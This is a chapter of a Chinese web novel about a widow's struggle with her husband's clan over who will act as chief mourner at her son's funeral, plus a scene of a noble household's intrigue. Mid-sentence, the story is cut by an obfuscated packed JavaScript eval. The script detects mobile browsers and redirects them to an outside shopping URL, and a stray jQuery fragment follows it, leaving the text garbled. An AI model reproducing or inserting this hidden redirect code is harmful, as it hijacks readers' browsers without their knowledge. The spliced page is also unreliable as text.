贺家。


    贺太太双眼无神，怔怔看着前方。


    自听说贺仲珩果然命丧异国他乡，且连尸骨都不曾寻回，只带回一些他的遗物时，贺太太便晕厥了过去。


    待悠悠醒转，想起儿子，再止不住泪水。到了如今，已是连泪水都没有了。


    徐正阳与叶氏皆围在她身前，对视一眼，皆是心中难受。先后丧夫丧父丧子，妹妹这命，着实也太苦了些。


    只是外甥不在了，妹子的日子还得过下去。徐正阳也只能打起精神安慰贺太太：“仲珩虽不在了，可是你也得保重自己的身子才是，若仲珩泉下有知，见你这样子，不知要多难过！”


    贺太太喃喃道：“一家子只剩我一个，我活着还有什么意思……”


    徐正阳见妹妹这心如死灰的模样，亦是心痛如绞。这时，还是叶氏道：“妹妹，你在，妹夫跟仲珩在地下便能有一份香火。若是你也不在了，又有谁能给他们上香祭扫？再者，仲珩的身后事，还需得你来操办才是！”


    想到儿子的身后事，贺太太终于有了些精神：“是，是。我儿连尸骨都没有寻到，我不能再叫他走得这般凄惶！”


    却又想到一个要紧事：“仲珩走的这样早，还没有成亲生子，如今竟连个摔盆的都没有！”说罢又是泪如雨下。


    徐正阳叹气，道：“想来这两天贺家族里也该来人了，到时候跟他们商量一番，看由谁捧盆便是。”


    不过两日，贺族长果然又来了，这番来的还有族中几个长辈。年龄最大的，连贺太太都要唤他一声七叔，族人皆唤一声七公。


    贺太太是官家，贺七叔辈份再高，也只是平民，故而说话间也很客气，先跟贺太太道了恼，才提起丧仪一事：“珩哥儿如今也没个香火，捧盆的孝子，你是如何打算的？”


    先前贺太太尚存一丝期望，还盼着儿子回来，再者又有大哥相劝，故而不愿意再立嗣子。


    只是如今确定了儿子命丧他乡，尸骨无存。贺太太已是再无他念，只想让儿子走得安心，至于自已如何，倒是放在其次了。再怎么样，不能叫儿子入土时，连个丧仪都办不齐整。


    贺太太一想到儿子，便心痛如绞。她强忍悲意道：“先前三哥说过要给珩哥儿过继个孩子。那时候仲珩还没有消息，所以不曾定下来，如今，不若就按三哥说的，给珩哥过继个儿子罢。”


    贺族长与贺七公互视一眼，贺七叔便点头道：“既是如此，对过继的人选，你有什么看法没有？”


    贺太太想到贺族长那大孙子，心中便是不喜，此时便拒绝道：“三哥倒是说过，将他家孙子过继给我，只是我想着，侄子侄媳妇都还在，却不好夺了人家的骨肉，叫人家母子分离。我是想着，看谁家有没有那孤儿，过继过来。”


    贺七公便说她：“侄媳妇糊涂啊。旁人过继个孤儿，是为着不叫嗣子的家人烦扰，好把孩子养熟，这也没有错。只是你家又不一样，你家就你一个妇人，门户都支撑不起来。过继个自家人，有个事，也有人搭把手，岂不比过继个四不挨的强？”


    “再者”，贺七公又道：“老三家的孩子也大，七八岁了，很能顶得住事了。捧盆哭灵这些事安排他做，都能做得。要是过继个咿吖小儿，话都听不懂，又如何指望他给珩哥儿服丧带孝？”


    这话却是在理，贺太太便是想过继个年龄小些的，盼着自己能养熟，可是又挂念儿子的丧事，实在不舍得叫儿子的丧事都办不好，叫儿子走得不安心。


    一时之间，她实是难以决断，不免又跟自己娘家哥嫂商量。


    “绝对不可！”


    徐正阳斩钉截铁道，“绝不可过继贺延年家的孩子！”


    他如今极是厌恶贺族长，便直呼其名道：“那家子人，心术不正。过继他家孩子，无异于引狼入室。只怕孩子一来，他那家子便也一起过来了，到时候，这是你家，还是他家！”


    有了大哥支持，贺太太自已亦是不喜贺保柱那孩子，便委婉说了，想再看看族中其他孩子。贺族长脸色当即便不好起来，只说过几日再找些合适的。


    只是过了几日，却是一直没有消息，而贺仲珩的丧事却要准备办了。贺太太急得不急，使人催了几次贺族长，贺族长只道，没有合适的孩子，怕是不能给贺仲珩摔盆了。


    这竟是要借贺仲珩的丧礼，拿捏起贺太太了。


    贺太太也不是那好性子由着人拿捏的，当即便问了自家大哥：“倘若贺氏族中，没有人给仲珩摔盆，不知道立仁，立声两个，可愿意替仲珩这个哥哥捧盆？”


    徐正阳还未说话，叶氏便答道：“有什么不肯的。仲珩是为国捐躯，他俩做弟弟的，为哥哥做这么些个小事，又算得什么！”


    孝子自然是子侄辈为好，可是也不是没有那兄弟捧盆的。虽说是外姓，可是贺太太这个做母亲的愿意，叶氏跟贺太太处得好，也是看着贺仲珩长大的，又岂有不愿之理。


    她是书香门第，最重风骨。贺家父子两代都是为国尽忠献身，她打心底尊敬，又怎会拒绝。


    贺太太得了哥嫂允诺，便是有了底气。又使人传话给贺族长，道是如果找不到合适的人，便叫自家侄子捧盆。


    第二日，贺族长便带着他那孙子来了，脸色极是不好看，也不复从前的和气：“弟妹，不是我说你。你一个妇道人家，行事也太没有章法。哪有叫舅家表弟做孝子捧盆的！传出出，叫外人如何看咱们贺家人？”


    贺太太脸色淡淡道：“这不是三哥你说族中没有合适的人么。我才不得已叫了娘家兄弟捧盆。”


    贺族长一噎，又道：“今日我把保


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17010500|192627||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    柱带来，叫他给珩哥捧盆，只是，也总得有个说法吧？”


    贺太太并不肯接他话茬：“保柱肯替他叔做这个孝子，我这个叔祖母定然会好好谢过。”


    贺族长面色一沉：“弟妹，你也是贺家媳妇，总要为贺家的香火考虑。珩哥父子两代为国尽忠，你总不能叫他没了香火罢！”


    贺太太掩面拭泪：“我现在只想把珩哥的丧事办好，其他的，过后再说罢。”


    贺族长无法。他亦是怕贺太太真叫娘家侄子当了孝子，那他以后可再不好拿捏贺太太，也只有先叫贺保柱顶上。


    回头，只要他这个族长不点头，贺太太还能过继哪个？


    贺仲珩的丧事终于如常操办起来。因是为了出使外邦殉差，朝廷亦派人致奠嘉奖。


    贺太太每每念及儿子连尸骨都不能找到，如今只能立个衣冠冢，便心痛不能自己已，在灵前几乎又要哭晕过去。


    只是亲戚或余悲，他人亦以歌。贺家这些事，也就贺家前朋自家伤心罢了。旁的人家，亦各有各的事体烦心。


    见着罗家人哭哭啼啼被人伢子带走，庄夫人终是长舒了一口气。


    心头大刺被拔出，她终于可以安心了。只是到底还是有些犹疑：“唉，这回，不会再有差错了罢？”


    高妈妈极力打包票：“夫人，府里上上下下咱们查过几遍了，除了这罗家人，再没有旁的跟那周夫人有关系的。除了他家，还能有谁？再者，你看那罗贵，他偷换的物件，都是府里的，没有一样是先头周夫人的，可见，他心里定是向着那周夫人的。就是那罗家人没跑了。”


    庄夫人点点头，叹道：“毕竟有侯爷在，也不好处置太过。”


    高妈妈忙道：“侯爷心里最器重的还是夫人，不过是家下人，侯爷如何会放在心上！”


    庄夫人恨道：“那周氏，还真是奸滑。自家人不用，偏用了个侯府的老人，也怪道咱们寻了那么长时间，硬是找不到这人！”


    高妈妈一拍巴掌：“可不就是！只不过，凭那周氏再狡猾，也逃不过夫人的火眼金睛！你瞧，那罗家人藏得这般隐秘，不还是叫夫人给找出来了？”


    庄夫人含笑，只觉得神清气爽。如今将顾姝背后那人寻了出来，她终是放下心来。


    “那丫头如今做什么？”


    “大姑娘此前还找过侯爷，给罗家求情呢！只侯爷说他家私盗府库财物，实在可恶，不曾允了姑娘。若是没有关系，大姑娘凭什么为罗家跟侯爷求情？”


    说罢，高妈妈补了一句：“听烟雨说，大姑娘这两日心情都不好呢。倒底是年纪轻，藏不住事。”


    庄夫人心情更好，笑道：“此事也算是了结了。大姑娘年龄大了，也该给大姑娘寻门好亲事了。”


    “夫人说得是，正该如此。”